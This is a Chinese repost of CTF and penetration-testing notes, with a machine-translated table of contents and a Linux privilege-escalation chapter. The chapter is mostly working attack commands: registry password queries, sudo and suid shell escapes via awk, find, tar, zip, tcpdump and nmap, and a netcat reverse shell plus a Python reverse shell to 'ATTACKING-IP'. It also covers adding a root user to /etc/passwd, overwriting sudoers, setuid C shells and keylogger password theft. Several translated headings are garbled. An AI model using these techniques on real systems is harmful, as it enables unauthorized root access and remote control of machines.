CTF笔记

项目地址:https://d00mfist.gitbooks.io/ctf/content/

笔记目录:

英文(原版)中文(Google翻译)
The Basics基础
LinuxLinux
Basics of LinuxLinux基础
Bash-scriptingBash脚本
VimVim
Man Pages手册页
Windows视窗
Basics of WindowsWindows基础
PowerShell电源外壳
PowerShell ScriptingPowerShell脚本编制
CMDCMD
Scripting With Python使用Python编写脚本
Python FundamentalsPython基础知识
Useful Scripts有用的脚本
GITGIT
Transferring Files传输档案
Transfering Files on Linux在Linux上传输文件
Transfering files on Windows在Windows上传输文件
Firewalls防火墙
General tips and tricks一般提示和技巧
Recon and Information Gathering Phase侦察和信息收集阶段
Passive Information Gatherig被动信息收集
Identify IP-addresses and Subdomains识别IP地址和子域
Identify IP-addresses识别IP地址
Find Subdomains查找子域
DNS BasicsDNS基础
Finding subdomains查找子域
DNS Zone Transfer AttackDNS区域转移攻击
Identifying People识别人
Search Engine Discovery搜索引擎发现
Identifying Technology Stack识别技术堆栈
Active Information Gathering主动信息收集
Port Scanning端口扫描
Vulnerability analysis漏洞分析
Server-side Vulnerabilities服务器端漏洞
Common ports/services and how to use them通用端口/服务以及如何使用它们
Port Knocking港口敲门
HTTP – Web VulnerabilitiesHTTP-Web漏洞
Common Web-services通用网络服务
WAF – Web Application FirewallWAF-Web应用程序防火墙
Attacking the System攻击系统
Local File Inclusion本地文件包含
Remote File Inclusion远程文件包含
Directory Traversal Attack目录遍历攻击
Hidden Files and Directories隐藏的文件和目录
SQL-InjectionsSQL注入
Nosql-InjectionsNosql注入
XML External Entity AttackXML外部实体攻击
Command Injection命令注入
Bypass File Upload Filtering绕过文件上传过滤
Exposed Version Control公开版本控制
Directory Traversal Attack目录遍历攻击
Attacking the User攻击用户
Clickjacking点击劫持
Broken Authentication or Session Management身份验证或会话管理中断
Text/content-injection文字/内容注入
HTML-InjectionHTML注入
Insecure Direct Object Reference (IDOR)不安全的直接对象引用(IDOR)
Subdomain Takeover子域接管
Cross Site Request Forgery跨站请求伪造
Cross-Site Scripting跨站脚本
Examples例子
DOM-based XSS基于DOM的XSS
Browser Vulnerabilities浏览器漏洞
HTML-InjectionHTML注入
Automated Vulnerability Scanners自动漏洞扫描仪
Exploiting利用
Social Engineering – Phishing社会工程-网络钓鱼
Default Layout of Apache on Different Versions不同版本的Apache的默认布局
Shells炮弹
Webshell网页外壳
Generate Shellcode生成Shellcode
Editing Exploits编辑漏洞
Compiling windows exploits编译Windows漏洞
Dirty Cow脏牛
Shellshock贝壳冲击
Responder回应者
Log Poisoning原木中毒
Buffer Overflow Shell缓冲区溢出外壳
Post Exploitation剥削后
Spawning Shells产卵壳
Meterpreter for Post-Exploitation剥削后的抄表器
Privilege Escalation – Linux特权升级-Linux
Privilege Escalation – Windows特权升级-Windows
Metasploit Web Delivery (Meterpreter Session)Metasploit Web交付(主持人会议)
Escaping Restricted Shell逃脱受限外壳
Bypassing antivirus绕过防病毒
Loot and Enumerate掠夺和枚举
Loot Windows抢劫视窗
Loot Linux抢劫Linux
Fun with GREPGREP的乐趣
Persistence坚持不懈
Cover your tracks掩盖你的足迹
Password Cracking密码破解
Generate Custom Wordlist生成自定义单词表
Offline Password Cracking离线密码破解
NTLM vs. NTLMv1/v2 a.ka. Net-NTLMv1/v2NTLM与NTLMv1 / v2的版本。网络NTLMv1 / v2
Online Password Cracking在线密码破解
Pass the Hash – Reusing Hashes传递哈希-重用哈希
Wordlists for CTFsCTF的词表
Cleartext Passwords明文密码
Pivoting – Port forwarding – Tunneling透视-端口转发-隧道
Network traffic analysis网络流量分析
Arp-spoofingARP欺骗
SSL-stripSSL条
DNS-spoofingDNS欺骗
WiresharkWireshark
Forensics法证
Reverse Engineering逆向工程
Decompile反编译
Data Extraction数据提取
Wifi无线上网
WEPWEP
WPSWPS
Physical access to machine物理访问机器

Cleartext Passwords 以明文密码 为例

# Windows autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

# VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"

# SNMP Parameters
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"

# Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

# Search for password in registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

以linux提权为例

轻松获胜

检查Sudo权利

将第二个-l放入列表格式(更多详细信息)

sudo -l -l
检查包含单词密码的文件
grep -irnw '/path/to/somewhere/' -e 'password'
-i Makes it case insensitive
-r is recursive
-n is line number
-w stands for match the whole word
-e stands for pattern

Linux利用建议器

uname -a and uname -r
Linux_Exploit_Suggester.pl -k 2.6

摘要

一旦我们拥有有限的外壳,升级该外壳特权将很有用。这样,隐藏,读取和写入任何文件以及在两次重新引导之间保持一致将变得更加容易。

在本章中,我将介绍以下常见的Linux特权升级技术:

  • 内核漏洞
  • 以root身份运行的程序
  • 安装的软件
  • 弱密码/重用密码/纯文本密码
  • 内部服务
  • Suid配置错误
  • 滥用sudo权利
  • 由root调用的世界可写脚本
  • 路径配置错误
  • Cronjobs
  • 卸载的文件系统

枚举脚本

我主要使用了三个用于枚举机器的脚本。它们在脚本之间有些区别,但是它们输出的内容很多。因此,将它们全部测试一下,看看您最喜欢哪一个。

LinEnum

https://github.com/rebootuser/LinEnum

以下是选项:

-k Enter keyword
-e Enter export location
-t Include thorough (lengthy) tests
-r Enter report name
-h Displays this help text

Unix特权

http://pentestmonkey.net/tools/audit/unix-privesc-check

运行脚本并将输出保存在文件中,然后使用grep发出警告。

Linprivchecker.py

https://github.com/reider-roque/linpostexp/blob/master/linprivchecker.py

权限提升技术

内核漏洞

通过利用Linux内核中的漏洞,我们有时可以提升特权。我们通常需要了解的操作系统,体系结构和内核版本是测试内核利用是否有效的测试方法。

检查以下内容:

作业系统:

建筑:

内核版本:

uname -a
cat /proc/version
cat /etc/issue

搜索漏洞

site:exploit-db.com kernel version

python linprivchecker.py extended

如果可以避免,请不要使用内核漏洞。如果使用它,则可能会使计算机崩溃或使其处于不稳定状态。因此,内核漏洞利用应该是最后的手段。如果可以,请始终使用更简单的priv-esc。他们还可以生产大量的东西sys.log。因此,如果您发现任何有用的东西,请将其放在列表中,并在利用之前继续寻找其他方法。

以root身份运行的程序

这里的想法是,如果特定服务以root用户身份运行,并且您可以使该服务执行命令,则您可以root用户身份执行命令。寻找网络服务器,数据库或类似的东西。一个典型的例子是mysql,下面是例子。

检查哪些进程正在运行

# Metasploit
ps

# Linux
ps aux

MySQL的

如果发现mysql以root用户身份运行,并且您使用用户名和密码登录数据库,则可以发出以下命令:

select sys_exec('whoami');
select sys_eval('whoami');

如果这些都不起作用,则可以使用用户定义的功能/

用户安装的软件

用户是否安装了一些可能容易受到攻击的第三方软件?看看这个。如果您发现任何Google漏洞利用工具。

# Common locations for user installed software
/usr/local/
/usr/local/src
/usr/local/bin
/opt/
/home
/var/
/usr/src/

# Debian
dpkg -l

# CentOS, OpenSuse, Fedora, RHEL
rpm -qa (CentOS / openSUSE )

# OpenBSD, FreeBSD
pkg_info

弱密码/重用密码/纯文本密码

  • 检查Web服务器连接到数据库的文件(config.php或类似文件)
  • 检查数据库以获取可能被重用的管理员密码
  • 检查弱密码
username:username
username:username1
username:root
username:admin
username:qwerty
username:password
  • 检查明文密码
# Anything interesting the the mail?
/var/spool/mail
./LinEnum.sh -t -k password

服务仅在内部提供

在这种情况下,用户正在运行某些只能从该主机获得的服务。您无法从外部连接到服务。它可能是开发服务器,数据库或其他任何东西。这些服务可能以root用户身份运行,或者其中可能存在漏洞。由于开发人员或用户可能会考虑“由于只有特定用户可以访问它,因此我们不需要花费那么多的安全性”,因此它们可能更加脆弱。

检查netstat并将其与您从外部进行的nmap扫描进行比较。您是否从内部找到更多可用的服务?

# Linux
netstat -anlp
netstat -ano

Suid和Guid配置错误

当运行具有suid权限的二进制文件时,它将以其他用户身份运行,因此具有其他用户特权。它可以是root用户,也可以只是另一个用户。如果将suid位设置在可以生成shell或以其他方式滥用的程序上,则可以使用它来提升特权。

例如,以下是一些可用于产生外壳的程序:

nmap
vim
less
more

如果这些程序设置了suid位,我们也可以使用它们来升级特权。有关这些内容以及如何使用的更多信息,请参见下一节有关滥用sudo-rights的内容:

nano
cp
mv
find

查找suid和guid文件

#Find SUID
find / -perm -u=s -type f 2>/dev/null

#Find GUID
find / -perm -g=s -type f 2>/dev/null

滥用sudo权利

如果您的外壳程序有限,可以使用某些程序进行访问,则sudo可以升级权限。可以使用任何可以写入或覆盖的程序。例如,如果您具有sudo权限,则cp可以覆盖它/etc/shadow/etc/sudoers使用自己的恶意文件。

awk
awk 'BEGIN {system("/bin/bash")}'

bash

cp

复制并覆盖/ etc / shadow

sudo find / -exec bash -i \;

find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' ;

sudo find /dev/null -exec sh \;

ht

文本/二进制编辑器HT。

少了一点,您可以进入vi,然后进入shell。

sudo less /etc/shadow
v
:shell
更多

您需要在大于屏幕的文件上运行更多文件。

sudo more /home/pelle/myfile
!/bin/bash
MV

覆盖/etc/shadow/etc/sudoers

文件
 sudo file -m /etc/shadow
柏油
touch somefile
sudo tar cf /dev/null somefile --checkpoint=1 --checkpoint-action=exec=/bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)
压缩
touch somefile
sudo zip -q /tmp/test.zip somefile -T -TT '/bin/sh #'
# id
uid=0(root) gid=0(root) groups=0(root)
同步
user@host:/tmp$ cat > somefile << EOF
> cp /bin/sh /tmp/sh_root
> chmod a+sx /tmp/sh_root
> EOF
user@host:/tmp$ sudo rsync  -e 'sh /tmp/somefile' /dev/null 127.0.0.1:/dev/null 2>/dev/null
user@host:/tmp$ /tmp/sh_root
# whoami
root

man

nano

nc

tcpdump

“ -z postrotate-command”选项(在tcpdump版本4.0.0中引入)。

创建一个temp.sh(其中包含要以root用户身份执行的命令)

id
/bin/nc 192.168.110.1 4444 -e /bin/bash

执行命令

sudo tcpdump -i eth0 -w /dev/null -W 1 -G 1 -z ./temp.sh -Z root

哪里

-C file_size : Before  writing a raw packet to a savefile, check whether the file is currently larger than file_size and, if so, close the current savefile and open a new one.  Savefiles after the first savefile will have the name specified with the -w flag, with a number after it, starting at 1 and continuing upward.  The units of file_size are millions of bytes (1,000,000 bytes, not 1,048,576 bytes).

-W Used  in conjunction with the -C option, this will limit the number of files created to the specified number, and begin overwriting files from the beginning, thus creating a 'rotating' buffer.  In addition, it will name the files with enough leading 0s to support the maximum number of files, allowing them to sort correctly. Used in conjunction with the -G option, this will limit the number of rotated dump files that get created, exiting with status 0 when reaching the limit. If used with -C as well, the behavior will result in cyclical files per timeslice.

-z postrotate-command Used in conjunction with the -C or -G options, this will make tcpdump run " postrotate-command file " where file is the savefile being closed after each rotation. For example, specifying -z gzip or -z bzip will compress each savefile using gzip or bzip2.

Note that tcpdump will run the command in parallel to the capture, using the lowest priority so that this doesn't disturb the capture process.

And in case you would like to use a command that itself takes flags or different arguments, you can always write a shell script that will take the savefile name as the only argument, make the flags &  arguments arrangements and execute the command that you want.

 -Z user
 --relinquish-privileges=user If tcpdump is running as root, after opening the capture device or input savefile, but before opening any savefiles for output, change the user ID to user and the group ID to the primary group of user.

 This behavior can also be enabled by default at compile time.
纳帕
nmap --script <(echo 'require "os".execute "/bin/sh"')

要么

nmap --interactive

要么

sudo nmap -iL /etc/shadow 2>&1 | grep root
python / perl / ruby​​ / lua / etc
sudo perl
exec "/bin/bash";
ctr-d
sudo python
import os
os.system("/bin/bash")

sh

tcpdump
echo $'id\ncat /etc/shadow' > /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
vi / vim

可以这样被滥用:

sudo vi
:shell

:set shell=/bin/bash:shell    
:!bash
三通

如果tee是suid:tee用于读取输入,然后将其写入输出和文件。这意味着我们可以使用tee读取自己的命令并将其添加到any_script.sh中,然后用户可以以root用户身份运行它们。如果某些脚本以root身份运行,则也可以运行。例如,假设tidy.sh是在服务器上以root身份执行的,我们可以在temp.sh中编写以下代码

temp.sh
echo "example_user ALL=(ALL) ALL" > /etc/sudoers

要么

chmod +w /etc/sudoers to add write properties to sudoers file to do the above

接着

cat temp.sh | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

这会将temp.sh的内容添加到tidyup.sh。(假设tidyup.sh由crontab以root身份运行)

我如何以sudo /扎根

以root身份调用世界可写脚本

如果找到一个脚本,该脚本由root拥有但可以被任何人写,则可以在该脚本中添加自己的恶意代码,当该脚本以root身份运行时,该恶意代码将提升权限。它可能是cronjob的一部分,或者以其他方式实现了自动化,或者它可能由sysadmin手动运行。您还可以检查这些脚本调用的脚本。

#World writable files directories
find / -writable -type d 2>/dev/null
find / -perm -222 -type d 2>/dev/null
find / -perm -o w -type d 2>/dev/null

# World executable folder
find / -perm -o x -type d 2>/dev/null

# World writable and executable folders
find / \( -perm -o w -perm -o x \) -type d 2>/dev/null

以root身份运行的怪异脚本

看看是否可以命令注入和运行其他脚本;如果是这样

bash /tmp/shell.sh

#shell.sh

#!/bin/bash
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

可以写到/ etc / passwd

可以添加具有root权限的用户

#Generate a password to include in /etc/passwd; example salt is lulz, password is letmein, and user is plz
openssl passwd -1 -salt lulz letmein
#$1$lulz$TNLkd169ZEm7OHQx.1M060
#edit /etc/passwd
plz:$1$lulz$TNLkd169ZEm7OHQx.1M060:0:0:root:/root:/bin/bash

路径配置错误

放置.路径
如果在路径中放置点,则无需编写./binary即可执行它。您将能够执行当前目录中的任何脚本或二进制文件。

人们/系统管理员为什么要这样做?因为他们很懒,不想写./.

这说明了它
https://hackmag.com/security/reach-the-root/
此处
http://www.dankalia.com/tutor/01005/0100501004.htm

Cronjob

具有运行脚本的特权,其他用户可以编辑该脚本。

查找特权用户拥有但对您可写的所有内容:

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

Cron.d

检查cron.d,以查看是否有任何脚本可随时以root身份执行,并且可在世界范围内写入。如果是这样,您可以使用/ bin / bash设置二进制二进制文件,并使用它获取根目录。

Suid.c

int main(void) {
setgid(0); setuid(0);
execl(“/bin/sh”,”sh”,0); }

要么

int main(void) {
setgid(0); setuid(0);
system("/bin/bash"); }

卸载的文件系统

在这里,我们正在寻找任何未挂载的文件系统。如果找到一个,我们将其挂载并重新开始priv-esc进程。

mount -l
cat /etc/fstab

NFS分享

如果发现计算机具有NFS共享,则可以使用该共享来升级特权。取决于它的配置方式。

# First check if the target machine has any NFS shares
showmount -e 192.168.1.101

# If it does, then mount it to you filesystem
mount 192.168.1.101:/ /tmp/

如果成功,则可以转到/tmp/share。那里可能有一些有趣的东西。但是,即使没有,您也可以利用它。

如果您具有写权限,则可以创建文件。测试是否可以创建文件,然后使用低特权外壳检查哪些用户创建了该文件。如果它说是创建文件的root用户,则是个好消息。然后,您可以创建一个文件,并在攻击计算机上对其进行suid-permission设置。然后使用您的低特权外壳程序执行它。

可以编译此代码并将其添加到共享中。由您的低特权用户执行它之前,请确保在其上设置suid位,如下所示:

chmod 4777 exploit
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main()
{
    setuid(0);
    system("/bin/bash");
    return 0;
}

通过键盘记录器窃取密码

如果您可以访问具有sudo权限的帐户,但没有密码,则可以安装键盘记录程序来获取它。

世界可写目录

/tmp
/var/tmp
/dev/shm
/var/spool/vbox
/var/spool/samba

其他详细内容请参考原文:
https://d00mfist.gitbooks.io/ctf/content/

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注